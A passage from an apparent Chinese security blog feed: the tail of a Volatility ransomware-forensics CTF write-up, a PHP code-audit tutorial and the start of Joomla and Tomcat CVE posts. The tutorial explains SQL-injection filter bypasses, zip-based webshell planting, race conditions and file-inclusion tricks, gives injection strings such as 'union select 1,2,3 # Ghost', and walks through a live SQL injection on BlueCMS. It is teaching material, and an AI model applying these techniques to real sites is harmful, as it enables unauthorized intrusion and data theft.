title="恶意软件种子从哪来"></a>恶意软件种子从哪来</h4><p>查看进程可以发现有很多chrome浏览器进程,种子可能是在浏览器中下载的</p><p>先把所有chrome进程转存下来</p><p>memdump -n chrome(指定所有chrome进程) -D ./</p><p>再查找 download.exe.torrent</p><p><img src="https://s2.loli.net/2023/04/03/v7HY9ZSmLpVFRMG.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/03/v7HY9ZSmLpVFRMG.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="1667541829336-a378f4a5-3716-4f12-8553-059caa9eb908"></p><h4 id="通过恶意软件寻找攻击者的比特币地址"><a href="#通过恶意软件寻找攻击者的比特币地址" class="headerlink" title="通过恶意软件寻找攻击者的比特币地址"></a>通过恶意软件寻找攻击者的比特币地址</h4><p>题目描述说攻击者在恶意勒索软件中留下了比特币地址,是多少呢? </p><p>首先可以把恶意进程转存到一个可执行文件,使用IDA查看寻找比特币,钱包,支付等关键词,定位地点</p><p>也可以使用dnSpy进行逆向分析 </p><p>也可以把转出的文件使用strings -e l 进行搜索</p><p>strings -e l 3720.dmp | grep -i -A 5 “ransomware” </p><p><img src="https://s2.loli.net/2023/04/03/XvuDNpwCKGQksdg.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/03/XvuDNpwCKGQksdg.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="1667543169806-d4e7c300-7c9c-4938-b368-93aa77aeb87a"></p><h4 id="恶意软件的图像的隐藏信息"><a href="#恶意软件的图像的隐藏信息" class="headerlink" title="恶意软件的图像的隐藏信息"></a>恶意软件的图像的隐藏信息</h4><p>procdump 命令代表转存可执行程序 </p><p><img src="https://s2.loli.net/2023/04/03/qmWAchio6u7U8Ow.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/03/qmWAchio6u7U8Ow.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="1667543459138-765a35fd-a048-4b8d-a9f7-418ea4f612c1"></p><p>使用foremost分离图片</p><p><img src="https://s2.loli.net/2023/04/03/eVlurAiCT8mM4Nt.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/03/eVlurAiCT8mM4Nt.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230403214045514"></p><p>或者使用反编译查看图片</p>]]></content>
<categories>
<category> 取证 </category>
</categories>
<tags>
<tag> volatility </tag>
</tags>
</entry>
<entry>
<title>PHP代码审计</title>
<link href="/2023/04/03/PHP%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
<url>/2023/04/03/PHP%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/</url>
<content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>官方文档:php.net<br>php官方文档是非常详情,好用的,在遇到不清楚作用的函数时可以进行查询</p><p>白盒测试做代码审计最主要的知识是要去了解一个漏洞应该有哪些防御方式,因为大部分的漏洞都是因为修复没有做的全面,或者修复没有考虑到一些情况导致漏洞。<br>MVC:<br>C:分发处理请求网站的逻辑<br>M:处理和数据库相关的操作<br>V:显示给用户的内容</p><h2 id="代码审计流程"><a href="#代码审计流程" class="headerlink" title="代码审计流程"></a>代码审计流程</h2><h3 id="正向查找流程"><a href="#正向查找流程" class="headerlink" title="正向查找流程"></a>正向查找流程</h3><p>a. 从入口点函数出发(如index.php)<br>b. 找到控制器,理解URL派发规则(URL具体映射到哪个具体的代码里)<br>c. 跟踪控制器调用,以理解代码为目标进行源代码阅读<br>d. 最终在阅读代码的过程和尝试中,可能发现漏洞</p><p>本质:程序员疏忽或逻辑问题导致漏洞 </p><p>特点:</p><ol><li>复杂:需要极其了解目标源码的功能与框架</li><li>跳跃性大:涉及M/V/C/Service/Dao等多个层面</li><li>漏洞的组合:通常是多个漏洞的组合,很可能存在逻辑相关的漏洞</li></ol><h3 id="反向查找流程"><a href="#反向查找流程" class="headerlink" title="反向查找流程"></a>反向查找流程</h3><p>a. 通过危险函数,回溯可能存在的漏洞<br> 1. 查找可控变量<br> 2. 传递的过程中触发漏洞</p><p>特点:</p><ol><li>与上下文无关</li><li>危险函数,调用即漏洞</li></ol><p>代码审计工具功能大多就是这个原理</p><h3 id="双向查找流程(手动审计主要方式)"><a href="#双向查找流程(手动审计主要方式)" class="headerlink" title="双向查找流程(手动审计主要方式)"></a>双向查找流程(手动审计主要方式)</h3><ol><li>略读代码,了解框架(正向流程,如:网站都有哪些功能,什么样的架构如mvc:它的m在哪v,c在哪,用了什么模板引擎,是否用了orm(如果使用了ORM那么sql注入就很少了,如果没用是手工写的sql语句,可以关注是否存在sql漏洞)等…)</li><li>是否有全局过滤机制<ol><li>有:是否可以绕过<ol><li>可以:寻找漏洞触发点(反向查找流程,找危险函数)</li><li>不可以:寻找没有过滤的变量</li></ol></li><li>没有:那么就看它具体是如何处理的,具体代码具体分析<ol><li>有处理:寻找遗漏的处理点(如忘记处理的地方或者处理不太正确的地方)</li><li>完全没有处理:可以挖成筛子(很少)</li></ol></li></ol></li></ol><p>3.找到了漏洞点,漏洞利用是否有坑</p><p>根源:理解程序执行过程,找寻危险逻辑<br>特点:<br> 高效:如挖隧道,双向开工,时间减半(不需要去完全理解网站内部原理和函数作用)<br> 知识面广:需要同时掌握正向,反向挖掘技巧,并进行结合<br> 以及所有正向,反向的优点</p><h2 id="SQL注入漏洞挖掘技巧"><a href="#SQL注入漏洞挖掘技巧" class="headerlink" title="SQL注入漏洞挖掘技巧"></a>SQL注入漏洞挖掘技巧</h2><p>PHP+mysql链接方式有:<br>mysql(废弃,但老的仍然有)<br>mysqli<br>PDO</p><h3 id="sql注入常见过滤方法"><a href="#sql注入常见过滤方法" class="headerlink" title="sql注入常见过滤方法"></a>sql注入常见过滤方法</h3><p><strong>intval:</strong>把用户输入的数字后面的所有不是数字的都过滤掉<br><strong>addslashes:</strong> 把 ‘ 前加\转义掉<br><strong>mysql_real_escape:</strong>和第二个类似,但会考虑用户输入和mysql的编码,避免像宽字节注入问题</p><p><strong>mysqli_escape_string</strong> / <strong>mysqli_real_escape_string</strong> / <strong>mysqli::escape_string</strong> (和mysqli搭配使用,和前面的功能类似)和他们的差别是会主动加引号包裹</p><p><strong>PDO:</strong>quote</p><p><strong>参数化查询</strong></p><h3 id="常见注入过滤绕过方法"><a href="#常见注入过滤绕过方法" class="headerlink" title="常见注入过滤绕过方法"></a>常见注入过滤绕过方法</h3><p>intval:不知道<br>addslashes / mysql_real_escape<br> 1.宽字节注入<br> 2.数字型sql语句<br> 3.寻找字符串转换函数(传入编码好的字符绕过过滤,在后面被转换成sql语句)<br> urldecode<br> base64_decode<br> iconv<br> json_decode<br> stripshasles<br> simple_xml_loadstring<br>例如:传入id被过滤但后面有一处代码是解码base64,所以我们可以传入 ‘ 的base64编码绕过</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="variable">$id</span> = <span class="title function_ invoke__">addslashes</span>(<span class="variable">$_GET</span>[<span class="string">'id'</span>]);</span><br><span class="line">....</span><br><span class="line"><span class="variable">$id</span> = <span class="title function_ invoke__">base64_decode</span>(<span class="variable">$id</span>);</span><br><span class="line">....</span><br><span class="line"><span class="variable">$sql</span> = <span class="string">"select * from flag where id = '<span class="subst">$id</span>'"</span>; </span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><p>mysqli::escape_string // PDO::quote<br> 1.宽字节注入<br>参数化查询<br> 1.寻找非sql值的位置</p><h3 id="开发者容易遗漏得输入点"><a href="#开发者容易遗漏得输入点" class="headerlink" title="开发者容易遗漏得输入点"></a>开发者容易遗漏得输入点</h3><ol><li><p>HTTP头</p><p>a. X-Forwarded-For</p><p>b. User-Agent</p><p>c. Referer</p></li><li><p>PHP_SELF(访问的页面url名,但用户可控)</p></li><li><p>REQUEST_URI(用户请求得完整路径)</p></li><li><p>文件名 $_FILES[][name]</p></li><li><p>php://input (post穿进去得内容)</p></li></ol><p>引入单引号(转义符)的方法(’号被过滤,看后面有没有可以引入的地方)<br> stripslashes<br> base64_decode<br> urldecode<br> substr<br> iconv<br> str_replace(‘0’,’’,$sql)<br> xml<br> json_encode</p><h2 id="任意文件操作"><a href="#任意文件操作" class="headerlink" title="任意文件操作"></a>任意文件操作</h2><p>PHP上传的文件会被保存在$_FILES下</p><p>PHP文件操作函数汇总</p><ol><li>文件包含<ol><li>include / require / include_once / require_once / spl_autoload</li></ol></li><li>文件读取<ol><li>file_get_contents / fread / readfile / file / highlight_file / show_source</li></ol></li><li>文件写入<ol><li>file_put_contents / fwrite / mkdir / fputs</li></ol></li><li>文件删除<ol><li>unlink / rmdir</li></ol></li><li>文件上传<ol><li>move_uploaded_file / copy / rename</li></ol></li></ol><h3 id="文件上传漏洞"><a href="#文件上传漏洞" class="headerlink" title="文件上传漏洞"></a>文件上传漏洞</h3><p>文件上传流程:</p><ol><li><p>检查文件大小,后缀,类型</p></li><li><p>检查文件内容(如文件头,尾等)</p></li><li><p>提取文件后缀</p></li><li><p>生成新文件名</p></li><li><p>将上传临时文件拷贝到新文件名位置</p></li></ol><p>文件上传逻辑常见错误</p><ol><li>只检查文件类型不检查文件后缀</li><li>文件后缀黑名单有遗漏</li><li>使用原始文件名,导致\0截断(一般没有了)</li><li>前端检验</li></ol><h3 id="文件包含漏洞"><a href="#文件包含漏洞" class="headerlink" title="文件包含漏洞"></a>文件包含漏洞</h3><p>首先明确一点,文件包含漏洞不等于文件读取漏洞</p><p>危害:文件读取 / 代码执行<br>常见位置:模板文件名(切换模板)<br> 语言文件名(切换语言)<br>常见利用:<br> 要寻找可被包含利用的文件:上传文件,临时文件,Session文件,日志文件<br> 后缀无法控制的情况:\0截断,协议利用<br> PHP5.3.4+ 对包含\0的文件操作函数进行了限制,基本上没有了</p><h4 id="案例"><a href="#案例" class="headerlink" title="案例"></a>案例</h4><p>Metinfo 5.3.10版本Getshell漏洞<br>可控制的部分:include $file . ‘.php’;<br>http协议利用:<a href="http://xxxx.com/1.php">http://xxxx.com/1.php</a> (远程文件包含,一般不开设置不能用)<br>PHP协议利用:zip/phar<br> 制作2.php的压缩包 -> 2.zip -> 改后缀为 -> 2.jpg<br> 在服务器中上传2.jpg文件<br> 再利用:zip://var/www/upload/head/2.jpg#2.php (#意思是访问zip内部的子文件->2.php)</p><h3 id="文件删除漏洞"><a href="#文件删除漏洞" class="headerlink" title="文件删除漏洞"></a>文件删除漏洞</h3><p>危害:<br> 删除服务器任意文件,DOS服务器<br> 删除安装锁文件,导致目标环境可被重新安装<br> 重新安装 -》任意重置管理员密码</p><h4 id="案例-1"><a href="#案例-1" class="headerlink" title="案例"></a>案例</h4><p>上传新头像会把老头像自动删除,但可以把删除老图像的地址换成别的造成任意文件删除</p><h2 id="命令执行"><a href="#命令执行" class="headerlink" title="命令执行"></a>命令执行</h2><p>命令执行指的是执行系统命令 (ls)<br><a href="https://explainshell.com/%E5%8F%AF%E4%BB%A5%E5%9C%A8%E8%BF%99%E4%B8%AA%E7%BD%91%E7%AB%99%E6%9F%A5%E8%AF%A2%E5%A4%8D%E6%9D%82%E5%91%BD%E4%BB%A4%E7%9A%84%E6%84%8F%E6%80%9D">https://explainshell.com/可以在这个网站查询复杂命令的意思</a><br>代码执行指的是PHP的代码执行<br>本质:用户输入无过滤,拼接到了系统命令中<br>PHP命令执行函数:</p><ol><li>system</li><li>passthru</li><li>exec</li><li>shell_exec</li><li>popen (常见的就是上面这5种)</li><li>proc_open</li><li>pcntl_exec</li><li>dl</li></ol><p>要像命令执行很难,要先学会如何正确防御命令注入,才能分辨出哪些没有正确处理</p><p>防御PHP命令注入漏洞:<br>PHP中只能使用escapeshellcmd和escapeshellatg进行命令参数的过滤</p><ol><li>先区分这2个函数:</li></ol><p><strong>escapeshellcmd</strong><br><strong>escapeshellatg</strong><br>escapeshellatg没问题但escapeshellatg是只能限制逃逸不出单引号’但有些命令的不常用参数是可以任意命令执行 </p><ol start="2"><li>要把用户的输入放在值里</li></ol><p>如果把输入直接是键值对可能会造成漏洞</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">grep {$query}</span><br></pre></td></tr></table></figure><p>有一些命令的不常用参数可能会导致一些意外发生。直接使用 | 等命令跳出前面的命令实现命令执行<br>修复:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">grep -i {$query}</span><br><span class="line">grep -- {$query}</span><br></pre></td></tr></table></figure><h2 id="XML实体注入漏洞"><a href="#XML实体注入漏洞" class="headerlink" title="XML实体注入漏洞"></a>XML实体注入漏洞</h2><p>PHP XML解析函数<br> simplexml_load_file<br> simplexml_load_string<br> SimpleXMLElement<br> DOMDocument<br> xml_parse<br>如果发现有这几个函数的地方,基本上可以确定百分之80有xml实体注入 </p><p>libxml_disable_entity_loader(true)来禁用掉外部实体的加载,就不存在xml实体注入</p><p>PHP中XXE漏洞逐渐减少,到现在的版本里几乎已经绝迹了,因为PHP XML操作依赖libxml库<br>但在libxml2.9.0+默认是关闭了xml外部实体解析开关的,可以顺势挖一下也比较简单</p><p>方法:暴力搜索就行,查看有没有xml解析函数,再看禁没禁止外部加载</p><p>无输出点的xxe漏洞:有时候可能存在xxe漏洞但并不会在页面中显示,要利用到blind-xxe<br>Blind XXE原理:<br> 利用XML外部实体功能读取文件<br> 利用XML外部实体功能发送HTTP请求<br> 利用HTTP协议传递文件内容</p><h2 id="前端漏洞"><a href="#前端漏洞" class="headerlink" title="前端漏洞"></a>前端漏洞</h2><p>建议代码审计不去主要找这种漏洞,进行黑盒测试就能挖到的漏洞,在代码审计过程中没必要太注重</p><p>百盒测试中可以关注前端漏洞类型:<br> XSS漏洞<br> CSRF漏洞<br> Jsonp劫持漏洞(前面三个关注多)<br> URL跳转漏洞(不多)<br> 点击劫持漏洞(不多)</p><h3 id="xss"><a href="#xss" class="headerlink" title="xss"></a>xss</h3><p>在白盒测试中寻找XSS漏洞:<br>常见防护方法:<br> htmlspecialchars()把用户输入转义成html实体字符(这时候是绝对没有xss的)<br> strip_tags()从字符中去除HTML和PHP标记</p><p>自动化FUZZ -》寻找输出函数(危险函数)<br>富文本XSS挖掘<br> 什么是富文本:本质就是html,网站给你一个有很多功能的输入框</p><p><img src="https://s2.loli.net/2023/04/03/34PUvMOlk9tW1bN.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/03/34PUvMOlk9tW1bN.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230403203304212"><br>为什么出现富文本xss:<br> 前面2种防护方法要么就是转义掉要么就是直接去除掉,但在一些写文章,或者发帖的需要提交html富文本,如果使用前面的方法那么提交的就不是富文本了,会影响业务。<br>常见富文本过滤方法:<br> 会使用富文本的xss过滤器:把用户输入的恶意标签,属性去掉<br> 黑名单(很难过滤掉该过滤的标签属性)<br> 白名单</p><h3 id="CSRF"><a href="#CSRF" class="headerlink" title="CSRF"></a>CSRF</h3><p>在白盒测试中寻找CSRF漏洞:<br> 检查Referer(来自于当前域名,可信域名,才会执行)<br> (可以看正则匹配全面吗,比如正则匹配xxx.nte后缀的域名,那么可以注册个cxxx.nte域名绕过)<br> 检查Token<br> (寻找跨域漏洞,要去跨域请求某一个网站内容的时候需要先去请求这个网站有没有crossdomain.xml,<br> 要根据这里面配置的信息来认证是否允许用户去发送一个跨站的请求)<br> Flash<br> Jsonp<br> CORS 黑盒测试就可以找到这三个</p><h3 id="Jsonp劫持漏洞"><a href="#Jsonp劫持漏洞" class="headerlink" title="Jsonp劫持漏洞"></a>Jsonp劫持漏洞</h3><p>在白盒测试中寻找Jsonp劫持漏洞:<br>Jsonp介绍:Jsonp是 json 的一种”使用模式” 可以让网页从别的域名(网站)那获取资料,即跨域读取数据;<br>它利用的是script标签的 src 属性不受同源策略影响的特性,使网页可以得到从其他来源动态产生的 json 数据,因此可以用来实现跨域读取数据。<br>更通俗的说法:JSONP 就是利用 <script> 标签的跨域能力实现跨域数据的访问,请求动态生成的 JavaScript 脚本同时带一个 callback 函数名作为参数。服务端收到请求后,动态生成脚本产生数据,并在代码中以产生的数据为参数调用 callback 函数。 </p><p>原理:当网站通过 JSONP 方式传递用户敏感信息时,攻击者可以伪造 JSONP 调用页面,诱导被攻击者访问来达到窃取用户信息的目的;jsonp 数据劫持就是攻击者获取了本应该传给网站其他接口的数据。<br> 和 CSRF 类似,都需要用户交互,而 CSRF 主要是以用户的账户进行增删改的操作,jsonp 则主要用来劫持数据。 </p><p>Jsonp借此漏洞常见位置:<br> web框架默认支持ajax + jsonp方式请求<br> 程序员主动开发需要支持jsonp的应用<br>Jsonp劫持防御:</p><ol><li>Referer检查</li><li>Toke</li></ol><h2 id="反序列化漏洞"><a href="#反序列化漏洞" class="headerlink" title="反序列化漏洞"></a>反序列化漏洞</h2><p>几乎所有语言都有序列化功能,java,php,python都有相关漏洞<br>反序列化分类:<br> 反序列化触发执行任意代码 -》python<br> (python的反序列化其实是一门真正的语言,是可以直接进行执行代码的)<br> 反序列化后,通过已有代码利用链,间接执行任意代码 -》 PHP/java</p><p>PHP反序列化注意函数:<br> serialize(序列化函数)<br> unserialize(反序列化函数)<br>PHP反序列化特点:<br> 引入除资源型外任意类型变量<br> 无法引入函数 -》不能直接执行代码<br> 迂回战术<br> 寻找程序中可能存在的漏洞的类<br> 实例化类对象 -》 触发漏洞</p><p>漏洞挖掘过程:<br> 寻找调用反序列化函数的位置<br> 寻找包含危险方法的类<br> 反序列化上下文是否包含该类<br> 包含:直接生成该类,触发漏洞<br> 不包含:寻找引用链<br>怎么利用链,怎么构造利用语句,还有phar反序列化等有很多后面再写<br>如果只是要找反序列化漏洞,那么找unserialize就够了</p><h2 id="小技巧篇"><a href="#小技巧篇" class="headerlink" title="小技巧篇"></a>小技巧篇</h2><p>代码审计明白了原理,明白了各种漏洞的修复方式,之后想要提高就要仰仗自己积累的一些小技巧<br>因为你会发现遇到的大部分有漏洞的代码前面都存在一些过滤,检查;<br>如果你知道一些技巧后会发现很多过滤,检查都是可以绕过的</p><h3 id="web开发框架下的PHP漏洞"><a href="#web开发框架下的PHP漏洞" class="headerlink" title="web开发框架下的PHP漏洞"></a>web开发框架下的PHP漏洞</h3><p>Laravel<br>symfony<br>slimphp<br>Yii2<br>特点:<br> 所需PHP版本较高,\0截断等老漏洞绝迹<br> 提供功能强大的ORM(即使想写出一个sql漏洞都难)<br> 提供自动处理输出的模板引擎(想写出前端漏洞都难了,因为自带一些转义,实体化功能)<br> 开发者可以通过composer找到任何需要的功能类,避免因为自己造轮子产生的漏洞<br>现代web开发框架安全思想<br> Secure by default 原则<br> 文档中,会详细叙述可能出现的安全问题<br>挖掘思路<br> 寻找框架本身的安全漏洞<br> 寻找不规范的开发方式<br> 寻找错误的配置(debug模式,日志记录等)<br> 异常的利用(如果开启了debug或者会输出异常,可以构造异常抛出敏感信息,新的框架特有的漏洞老的几乎没有)<br>第三方服务利用<br> spl_autoload的利用</p><h3 id="压缩包问题"><a href="#压缩包问题" class="headerlink" title="压缩包问题"></a>压缩包问题</h3><p>web应用执行了解压缩操作<br>黑客利用压缩包的一些特性,构造"畸形"压缩包<br>解压缩时将造成漏洞 </p><p>压缩炸弹惯用的方式<br> 绕过文件检查失败后的删除操作<br> 阻止压缩时的文件检查<br> 绕过压缩时的文件检查<br> 链接文件的利用<br>绕过文件检查失败后的删除操作:<br> 案例:上传压缩包后,后端处理只能删除文件无法删除目录,导致shell</p><p>阻止压缩时的文件检查<br> 案例:压缩包解压失败,程序抛出错误并停止运行 -》 webshell保留<br> 压缩包三个文件,一个正常图片,一个webshell,第三个文件压缩存在错误<br>绕过压缩时的文件检查<br> 案例:使用../解压到上层目录,;构造一个文件名为:../../webshell.php,会让后端解压到上层目录<br> 而删除文件一般是在当前目录递归删除非法文件,不可能在根目录递归<br>链接文件的利用<br> 后端解压后未判断文件类型,导致可以上传软链接文件,该软连接导致任意文件读取<br> 压缩包是允许压缩软连接文件,也运行解压软连接文件;但文件上传传不了</p><h3 id="条件竞争漏洞"><a href="#条件竞争漏洞" class="headerlink" title="条件竞争漏洞"></a>条件竞争漏洞</h3><p>条件竞争:web服务器都是多线程的,同时运行多人访问网站,理论是互相不影响的,但是php,Apache,Nginx只能保证php是不互相影响的,不能保证文件或者数据库链接是不互相影响的</p><p>条件竞争漏洞挖掘方向:<br> 上传后删除的利用<br> 忘记上锁的数据库<br> 鸡肋文件包含的妙用<br>上传后删除的利用:<br> 上传压缩包后解压递归删除非法文件,但在这个过程中开启多个线程去访问解压出来的webshell,并在上层目录写入新的webshell;打一个时间差,在还没删除时利用,把webshell解压出来后面还有其他文件<br>发现一个文件上传的逻辑是在上传了后再删除,基本上就确定存在条件竞争漏洞</p><h3 id="没上锁的数据库"><a href="#没上锁的数据库" class="headerlink" title="没上锁的数据库"></a>没上锁的数据库</h3><p>案例:商场漏洞:<br> 1.查询用户余额<br> 2.查询购买商品的价格<br> 3.判断用户余额>商品价格<br> 4.用户余额=用户余额 - 价格<br> 如果第三步和第四步是单独的步骤,如果用多个线程去请求同时走到了第三步,判断都可以购买<br> 购买完后同时走到第四步后同时减去价格,就会导致余额变负 -》成功购买多个商品</p><h3 id="临时文件包含利用"><a href="#临时文件包含利用" class="headerlink" title="临时文件包含利用"></a>临时文件包含利用</h3><p>文件包含漏洞需要找到一个能够包含的恶意文件,但网站没有能够上传文件的地方,也没有找到任何可以控制的文件</p><p>寻找临时文件泄露点,文件上传的时候,用户会发送一个数据包给服务器,服务器会将数据包里的文件保存到当前的临时目录下,变成临时文件,文件名随机,内容可以控制,phpinfo可以获取文件名<br>我们可以上传一个非常大的文件,需要10秒上传完成,临时文件上传完成后是会被删除的,再开多个线程去包含该文件,生成一个新的webshell </p><h1 id="一些容易犯错的点"><a href="#一些容易犯错的点" class="headerlink" title="一些容易犯错的点"></a>一些容易犯错的点</h1><p>header('404') 会给用户返回一个页面,但并不会阻止php解释器继续往下运行</p><p>正则:应该要写判断只有的,错误写成包含有,那么就有漏洞</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span>(!preg_match(<span class="string">'/Ghost|Know/i'</span>, $cmd)){</span><br><span class="line">exit(<span class="string">"错误"</span>);</span><br><span class="line">}</span><br><span class="line">cmd = union select <span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span> <span class="comment"># Ghost</span></span><br><span class="line">cmd = ls / | ban</span><br></pre></td></tr></table></figure><p>它会查询传入的语句其实有DESC就绕过了但和DESC一块的有我们的其他命令</p><h1 id="尝试审计代码"><a href="#尝试审计代码" class="headerlink" title="尝试审计代码"></a>尝试审计代码</h1><p>admin 后台管理目录<br>install 网站的安装目录<br>api 接口文件目录<br>data 系统处理数据相关目录<br>include 用来包含的全局文件<br>template 模板<br>css CSS样式表目录<br>images 系统图片存放目录<br>system 管理目录<br>函数集文件: 这类文件通常命名中包含functions或者common等关键字,这些文件里面是一些公共的函数,提供给其他文件统一调用,所以大多数文件都会在文件头部包含到它们,寻找这些文件一个非常好用的技巧就是去打开index.php或者一些功能性文件,在头部一般都能找到。<br>配置文件:这类文件通常命名里面包括config这个关键字,配置文件包括Web程序运行必须的功能性配置选项以及数据库等配置信息,从这个文件里面可以了解程序的小部分功能,另外看这个文件的时候注意观察配置文件中参数值是用单引号还是用的双引号包起来,如果是双引号,则很大可能会存在代码执行漏洞。<br><a href="https://github.com/source-trace/bluecms">https://github.com/source-trace/bluecms</a><br>根据流程填完信息后又空白了,但没问题已经安装好了,访问index.php页面就好<br>使用Seay工具自动扫描一下</p><p><img src="https://s2.loli.net/2023/04/03/94y1nVUkLwF7pmd.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/03/94y1nVUkLwF7pmd.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230403210856570"></p><p>先看第一个试试<br><img src="https://s2.loli.net/2023/04/03/Qw1hc5Fu2IyqBv4.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/03/Qw1hc5Fu2IyqBv4.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image.png"><br>可以看到先是包含了一个common.inc.php的文件,其次如果有ad_id参数那么会经过trim函数的处理<br>再sql语句拼接时是没有单引号包裹的,可能存在问题<br>去看看包含的php文件。粗略的观察一下发现有对于$_GET进行处理<br><img src="https://s2.loli.net/2023/04/03/tjCK2dJhwERaW3I.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/03/tjCK2dJhwERaW3I.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image.png"><br>if(!get_magic_quotes_gpc()),查看下函数意思:始终返回false<br>就是一直是true,都会经过这个if语句里的处理;if语句的处理追踪一下deep_addslashes看看<br><img src="https://s2.loli.net/2023/04/03/ymU7s3Ru2cPVtYd.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/03/ymU7s3Ru2cPVtYd.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image.png"><br>就是经过了addslashes的处理,再前面学习过这个函数就是对于单引号双引号反斜线和nul进行转义,但我们sql语句并没有被''单引号包裹,这个过滤对于要审计的sql语句没有用;希望+1<br>看完包含的函数后在看一下trim函数有没有问题基本上就确定有没有sql注入了<br>么有定位到这个函数,查下官方手册发现是用来去除字符串首尾处的空白字符(或者其他字符)\t \n \r \0 \x0B<br>但只是去除首位的,语句中间的并不会,所以没影响;好理论确定存在注入了,实践开始<br>没有过滤扫描sql语句或者字母数字什么的,所以直接使用order查看下字段数<br><img src="https://s2.loli.net/2023/04/03/TdI9s5enRwVBZUW.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/03/TdI9s5enRwVBZUW.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image.png"><br>可以看到查到8时报错并有返回说明确实存在注入,使用联合注入试下<br>它是无回显的,可能要使用到时间盲注了,但在查看到网页源代码时<img src="https://s2.loli.net/2023/04/03/Keg1M2jCXirDZHh.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/03/Keg1M2jCXirDZHh.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image.png"><br>发现是有回显的,位数在7,在尝试查下表,嗯看来什么都可以查到<br><img src="https://s2.loli.net/2023/04/03/Gf8SAIuUBEnribL.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/03/Gf8SAIuUBEnribL.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image.png"><br>没有单引号,尝试下xss注入;也是存在的</p>]]></content>
<categories>
<category> PHP </category>
</categories>
<tags>
<tag> PHP代码审计 </tag>
</tags>
</entry>
<entry>
<title>Joomla 未授权访问漏洞POC CVE-2023-23752</title>
<link href="/2023/04/02/Joomla-%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9EPOC-CVE-2023-23752/"/>
<url>/2023/04/02/Joomla-%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9EPOC-CVE-2023-23752/</url>
<content type="html"><</p><p>win:</p><p></p><p></p><h2 id="修复建议"><a href="#修复建议" class="headerlink" title="修复建议"></a>修复建议</h2><p>目前该漏洞已经修复,受影响用户可及时升级到Joomla! CMS 版本4.2.8。</p>]]></content>
<categories>
<category> POC </category>
</categories>
<tags>
<tag> Joomla </tag>
</tags>
</entry>
<entry>
<title>Tomcat 幽灵猫任意文件读取漏洞复现 CVE-2020-1938</title>
<link href="/2023/04/02/Tomcat-%E5%B9%BD%E7%81%B5%E7%8C%AB%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0-CVE-2020-1938/"/>
<url>/2023/04/02/Tomcat-%E5%B9%BD%E7%81%B5%E7%8C%AB%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0-CVE-2020-1938/</url>
